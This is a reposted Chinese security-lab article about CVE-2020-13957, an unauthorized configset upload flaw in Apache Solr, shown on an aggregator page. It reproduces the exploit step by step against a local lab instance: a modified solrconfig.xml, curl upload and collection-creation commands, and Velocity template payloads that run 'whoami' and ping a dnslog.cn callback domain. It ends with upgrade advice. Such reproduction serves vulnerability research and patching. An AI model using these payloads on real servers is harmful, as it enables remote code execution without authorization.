Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:15677 篇
已收录公众号数量:89 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
CVE-2020-13957 Apache Solr 未授权上传漏洞
本文来自公众号:弥天安全实验室   2020.11.17 13:28:24





网安引领时代,弥天点亮未来







0x00漏洞 简述

Apache Solr是一个独立的企业级搜索应用服务器,在ConfigSet+API+中存在未授权上传漏洞风险,被利用可能导致RCE。



0x01影响版本


Apache+Solr+6.6.0+-6.6.5+

Apache+Solr+7.0.0+-7.7.3

Apache+Solr+8.0.0+-8.6.2



0x02漏洞复现


1、环境搭建

本次漏洞测试环境版本solr-7.0.1,window 10部署

Apache Solr下载链接

http://archive.apache.org/dist/lucene/solr/7.0.1


2、进入相关目录 solr-7.0.1\bin,启动solr

     solr.cmd start -c


3、访问漏洞环境

http://192.168.60.1:8983


4、漏洞利用

1.进入

server/solr/configsets/sample_techproducts_configs/conf

目录修改solrconfig.xml配置文件

原配置内容:

<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy"><str name="template.base.dir">${velocity.template.base.dir:}</str></queryResponseWriter>

修改后配置内容:

<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy"><str name="template.base.dir">${velocity.template.base.dir:}</str><str name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:true}</str><str name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}</str></queryResponseWriter>



2.执行

zip -r - * > yunzui.zip

注意:这里需要Linux进行加载(Windows10下可安装Linux子系统并安装zip),且第一次占用空间很大!!!

apt-get install zip unzip  (root权限)

3.然后把zip通过命令行上传

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @yunzui.zip "http://192.168.60.1:8983/solr/admin/configs?action=UPLOAD&name=yunzui"

4.创建一个新的配置

curl "http://192.168.60.1:8983/solr/admin/collections?action=CREATE&name=yunzui2&numShards=1&replicationFactor=1&wt=xml&collection.configName=yunzui"

5.测试命令执行

http://192.168.60.1:8983/solr/yunzui2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

通过DNSLog平台生成域名:

se5e2u.dnslog.cn


执行命令

http://192.168.60.1:8983/solr/yunzui2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('ping se5e2u.dnslog.cn'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end


效果查看


0x03修复建议


升级Solr版本。

http://archive.apache.org/dist/lucene/solr/8.6.3/





0x04参考链接


https://blog.csdn.net/qq_40989258/article/details/109121350






知识分享完了

喜欢别忘了关注我们哦~



学海浩茫,
予以风动,
必降弥天之润!


弥  天

安全实验室